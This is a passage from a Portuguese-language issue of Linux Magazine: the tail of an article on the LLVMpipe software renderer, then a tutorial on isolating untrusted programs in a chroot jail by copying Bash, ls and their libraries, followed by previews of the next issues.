são miniprogramas que realmente funcionam com a placa gráfica e, em geral, produzem grandes efeitos visuais como fumaça e reflexos. O LLVMpipe transforma todos os cálculos necessários em comandos da linguagem LLVM IR e, em seguida, permite que a LLVM os traduza e execute. Para que o LLVMpipe alcance seu pleno potencial, os desenvolvedores recomendam um sistema de 64 bits e um processador x86 com, pelo menos, a instrução de extensão SSE2. Todos estes fatores contribuem para que o LLVMpipe apresente ao menos simples aplicativos 3D suavemente na tela. Zack Rusin, desenvolvedor do LLVMpipe, relatou em seu blog que conseguia jogar o Alien Arena [9] em 25 frames por segundo em um Xeon E5405 com baixa resolução. O velho software rasterizador Mesa produziu um slideshow único em 3,5 frames por segundo, em comparação [10]. Medidas feitas por Michael Larabel do site Phoronix Internet confirmam esses valores. 74 www.linuxmagazine.com.br mais potente (também conhecido como rasterer ou renderizador) [5]. Este renderizador calcula a imagem de pixel completa a partir dos dados 3D. Para entregar a imagem o mais depressa possível, os cálculos fluem para um programa que, em seguida, permite que o compilador LLVM os traduza e execute. Para acelerar ainda mais o processo, o rasterizador distribui os cálculos em todos os cores disponíveis do processador. O resultado surge com o nome de LLVMpipe [6]. Conclusão O LLVMpipe provavelmente não poderá controlar uma placa gráfica 3D com um driver posteriormente otimizado porque o processador principal precisará lidar com muitas tarefas, ao passo que a placa gráfica 3D é projetada e otimizada para o processamento rápido de gráficos 3D. Além disso, o trabalho com o LLVMpipe continua, com algumas Coleção Academy! funções aguardando implementação. O LLVMpipe, portanto, contará como uma espécie de “último recurso”, mas seu desempenho é adequado para interfaces gráficas e aplicativos 3D simples, como prova a combinação do Ubuntu 12.10 com Unity. n Gostou do artigo? Queremos ouvir sua opinião. Fale conosco em: [email protected] Este artigo no nosso site: http://lnm.com.br/article/8840 Mais informações [1] Khronos Group: http://www.khronos.org [2] Mesa: http://www.mesa3d.org [3] Gallium3D: http://freedesktop.org/wiki/Software/gallium/ [4] OpenVG at Wikipedia: http://en.wikipedia.org/wiki/OpenVG/ [5] Rasterization at Wikipedia: http://en.wikipedia.org/wiki/Rasterisation/ [6] LLVMpipe: http://www.mesa3d.org/llvmpipe.html [7] LLVM: http://www.llvm.org [8] Just-in-time compilation at Wikipedia: http://en.wikipedia.org/wiki/Just‑in‑time_compilation [9] Alien Arena: http://red.planetarena.org [10] “The software renderer” by Zack Rusin: http://zrusin.blogspot.de/2010/03/software‑renderer.html [11] LLVMpipe Still Doesn’t Work For Linux Gaming; by Michael Larabel: http://www.phoronix.com/scan.php?page=news_item&px=MTEwODM Instalação e congifuração de servidores VoIP com Asterisk. Configuração de ramais, extensões, secretária eletrônica, monitoramento e espionagem de chamadas, planos de discagem, URA e muitos outros aspectos que abordam o uso de centrais telefônicas IP PBX. Disponível no site www.LinuxMagazine.com.br Linux Magazine #106 | Setembro de 2013 75 Segurança Prisão privada Virtualizar é bom, mas às vezes pode ser um exagero, se tudo o que o usuário quiser fazer for executar um programa que poderia representar uma ameaça ao sistema. O chroot jails oferece uma alternativa leve, rápida e bem testada. por Paul C. Brown U ma das coisas mais perigosas que o usuário pode fazer no sistema é executar software baixado da Internet a partir de um site desconhecido ou ainda aplicativos que não foram testados e que podem conter erros fatais. Em ambos os casos, nunca é aconselhável arriscar dados e hardware, executando aplicativos duvidosos diretamente no sistema utilizado diariamente para trabalho e lazer. No entanto, o usuário não precisa desistir de experimentar um novo software. Poderia até ser uma exigência de trabalho, caso em que o usuário trabalha na área de TI desenvolvendo código potencialmente perigoso – e, sejamos francos, todo o código experimental é potencialmente perigoso. No Linux, podemos criar um ambiente fechado e controlado para fazer estas coisas, e é exatamente sobre o que se trata o chroot. Espaço pessoal Usar o chroot é de certa forma semelhante a virtualizar um sistema, mas é muito mais limitado em termos de escopo. Ao invés de recriar um sistema de computador inteiro, o chroot permite que o usuário crie um Shell do convidado e um sistema de arquivos (inicialmente) vazio em um diretório favorito em sua própria árvore de diretórios. O sistema convidado herda algumas das características do sistema de host – sabidamente, o kernel e a maior parte das variáveis de ambiente – mas a árvore de diretórios desaparece, juntamente com todos os comandos, bibliotecas compartilhadas, diretórios 76 do dispositivo e outros recursos. Dentro desta “ficha limpa”de um sistema, criamos um novo sistema de arquivos a partir do zero, contendo apenas o que é necessário para executar o aplicativo que temos que testar; daí o seu nome: para todos os efeitos práticos, mudamos o local do diretório raiz. Depois de haver decidido onde ficará a chroot jail, o usuário pode começar a copiar software para criar um ambiente seguro. Devido às características deste tipo de ambiente, é altamente improvável que o sistema host será afetado se alguma coisa der errado. Por exemplo, é quase impossível que aplicativos jailed modifiquem ou apaguem arquivos de fora do chroot no sistema host – sendo o“quase”uma palavra importante na frase anterior. Compilando o jail Compilar um chroot jail é muito simples. Tudo o que o usuário tem a fazer é criar um novo diretório e apontar o chroot para ele: $ mkdir myjail $ sudo chroot myjail Note que, embora o diretório possa pertencer ao próprio usuário, o chroot só pode ser executado com privilégios de superusuário, daí o sudo no início da linha. No entanto, a entrada das duas linhas anteriores só levará a um erro como: chroot: failed to run command '/bin/bash': No such file or directory Isso acontece porque o Shell Bash é como qualquer outro programa e, quando o sistema tenta acessar um Shell de dentro do jail, ele não o encontra e quebra. Assim, o próximo passo é a criação de um programa de Shell de dentro do jail. Para isso, a primeira coisa a fazer é criar um diretório bin (que é onde os programas executáveis essenciais de um sistema Linux geralmente se encontram) no diretório de teste e copiar o bash do do /bin do host: $ mkdir myjail/bin $ cp bin/bash myjail/bin Podemos pensar que isso é suficiente, mas, se tentarmos o chroot novamente, ele retornará o mesmo que antes, porque o Bash depende de vários outros arquivos que contenham código chamado de bibliotecas, que são necessárias para fazer o trabalho. O usuário precisa descobrir qual deles deve selecionar e copiá-los para jail. Note que, de dentro do jail, o resto do sistema é invisível, e o usuário não pode acessar qualquer Listagem 1: Bibliotecas dependentes do Bash $ ldd /bin/bash linux‑vdso.so.1 (0x00007fff10576000) libreadline.so.6 => /lib64/ libreadline.so.6 (0x00007fa02c744000) libtinfo.so.5 => /lib64/ libtinfo.so.5 (0x00007fa02c511000) libdl.so.2 => /lib64/libdl. so.2 (0x00007fa02c30d000) libc.so.6 => /lib64/libc.so.6 (0x00007fa02bf60000) /lib64/ld‑linux‑x86‑64.so.2 (0x00007fa02c98c000) www.linuxmagazine.com.br arquivo do exterior, incluindo essas bibliotecas muito importantes. Para descobrir quais bibliotecas o Bash necessita, podemos usar o comando ldd. A sintaxe é muito simples: tudo o que temos a fazer é passar o caminho e o nome do aplicativo que desejamos verificar. Na listagem 1, estamos executando ldd para Bash, que retorna uma lista de bibliotecas e onde elas estão instaladas. Observe que a maioria reside em um diretório chamado lib64/, vinculado ao diretório raiz (/). O 64 indica que estamos usando um sistema de 64 bits. Se o usuário estiver utilizando um sistema de 32 bits, o diretório será simplesmente chamado de lib/. O primeiro item da lista, linux-vd‑ so.so.1 (0x00007fff10576000), é uma biblioteca virtual usada em alguns sistemas Linux, e podemos ignorá-la sumariamente. O restante das linhas aponta para bibliotecas reais que temos que copiar para um diretório com o mesmo nome no chroot jail: $ mkdir myjail/lib64 $ cp /lib64/ libreadline.so.6 myjail/lib/ $ cp /lib64/libtinfo.so.5 myjail/lib/ ... ...e assim por diante. Depois de copiar todos os arquivos, podemos testar o jail novamente: sudo chroot myjail/ Password: bash‑4.2# Sucesso! O fato de agora termos um prompt mostra que tudo está funcionando como deveria. No entanto, logo iremos nos deparar com algumas limitações. Embora possamos acessar os diretórios /bin e /lib que criamos no jail com o comando cd e talvez copiar e mover arquivos para ele, não podemos fazer muito mais do que isso. Não podemos nem listar o conteúdo dos diretórios (embora possamos usar o comando pwd para ver onde nos encontramos dentro da árvore de diretórios). Linux Magazine #106 | Setembro de 2013 Isso porque, enquanto cd e pwd são comandos integrados no Bash – conhecidos como builtin commands – o ls, programa utilizado para listar o conteúdo do diretório, não é. Para usar o ls, temos que passar por um processo semelhante ao qual passamos para fazer com que o Bash funcione, incluindo copiar todas as bibliotecas das quais ele depende. Para começar, saia do jail com: bash‑4.1# exit Quadro 1: Como executar aplicativos complexos Se o usuário quiser executar aplicativos que são muito mais complexos do que o ls em um chroot jail, logo irá descobrir que terá que incluir diretórios inteiros antes que tudo funcione. O que torna as coisas ainda mais difíceis é descobrir que alguns destes diretórios, como /proc, /dev e /sys nem sequer contêm arquivos e subdiretórios reais, mas virtuais. Arquivos como /dev/sda ou /proc/cpuinfo não apontam para dados reais no disco rígido, mas são criados quando há o boot do sistema ou mesmo quando o sistema está em execução e não pode ser copiado ou movido. Eles também não podem ser vinculados ao ln-s porque, como mencionado anteriormente, o resto do sistema além do jail é invisível de dentro dele, logo, os links para arquivos e diretórios fora do jail aparecem como quebrados. Felizmente, há uma solução para este problema. Usando a opção de comando mount -o bind, o usuário pode vincular diretórios para seu diretório e eles ainda estarão disponíveis quando executarmos chroot: $ $ $ $ $ cd myjail mkdir proc mkdir dev mount ‑o bind /proc proc mount ‑o bind /dev dev Mas, atenção: use este método com moderação, se o seu objetivo for criar um ambiente isolado, pois o comando mount ‑o bind abrirá um grande buraco nas paredes do jail. em seguida, verifique a listagem 2 para ver como ele é criado, a entrada está em negrito). A lista de bibliotecas pode variar de sistema para sistema. Algumas das bibliotecas já estão no diretório mijail/lib64, assim, podemos ignorá-las. Uma vez concluído o processo, o usuário será capaz de usar ls como faria no sistema host. E isso é tudo o que podemos fazer com este comando. O processo pode ficar muito mais complicado se o usuário pretender utilizar o jail com programas mais complexos, por isso leia com atenção o quadro 1, que contém algumas dicas sobre como fazer as coisas funcionarem sem problemas. n Listagem 2: Como fazer o ls funcionar no jail 01 $ cp /bin/ls myjail/bin/ 02 $ ldd /bin/ls 03 linux‑vdso.so.1 => (0x00007ffffcb35000) 04 libselinux.so.1 => /lib64/ libselinux.so.1 (0x00000036e3c00000) 05 librt.so.1 => /lib64/librt.so.1 (0x00000036e3400000) 06 libcap.so.2 => /lib64/libcap.so.2 (0x00000036ecc00000) 07 libacl.so.1 => /lib64/libacl.so.1 (0x00000036f1400000) 08 libc.so.6 => /lib64/libc.so.6 (0x00000036e1c00000) 09 libdl.so.2 => /lib64/libdl.so.2 (0x00000036e2000000) 10 /lib64/ld‑linux‑x86‑64.so.2 (0x00000036e1800000) 11 libpthread.so.0 => /lib64/ libpthread.so.0 (0x00000036e2400000) 12 libattr.so.1 => /lib64/libattr. so.1 (0x00000036ef000000) 13 $ cp /lib64/libselinux.so.1 myjail/lib64/ 14 $ cp /lib64/librt.so.1 myjail/lib64/ 15 $ cp /lib64/libcap.so.2 myjail/ lib64/ 16 $ cp /lib64/libacl.so.1 myjail/ lib64/ 17 $ cp /lib64/libpthread.so.0 myjail/lib64/ 18 $ cp /lib64/libattr.so.1 myjail/ lib64/ 19 $ sudo chroot myjail 20 Password: 21 bash‑4.1# ls 22 bin lib64 23 bash‑4.1# 77 Preview Linux Magazine #107 GED Documentos formam a grande massa de conhecimentos de uma empresa. Um sistema GED (Gestão Eletrônica de Documentos) permite preservar esse patrimônio e organizar eletronicamente a documentação, para assegurar a informação necessária, na hora exata, para a pessoa certa. Na próxima edição da Linux Magazine, você vai conhecer o sistema GED Alfresco, que revolucionou o mercado de colaboração e compartilhamento de documentos em uma rede empresarial e poderá ser o mais novo e fiel amigo de usuários que precisam armazenar digitalmente documentos importantes, colaborar em equipe através do compartilhamento monitorado de conteúdo e gerenciar como um todo as informações trocadas entre membros de uma empresa. n Admin Magazine #10 OpenStack Capaz de gerênciar os componentes de múltiplas instâncias virtualizadas, o OpenStack é um dos queridinhos dos profissionais de infraestrutura e virtualização da atualidade. É livre, não possui restrições quanto à quantidade de instâncias e é uma plataforma robusta, extremamente útil nestes tempos onde o advento da computação em nuvem já é uma realidade. Na próxima edição da Admin Magazine você vai conhecer tudo o que essa incrível ferramenta pode fazer por você! Não perca! n 82 www.linuxmagazine.com.br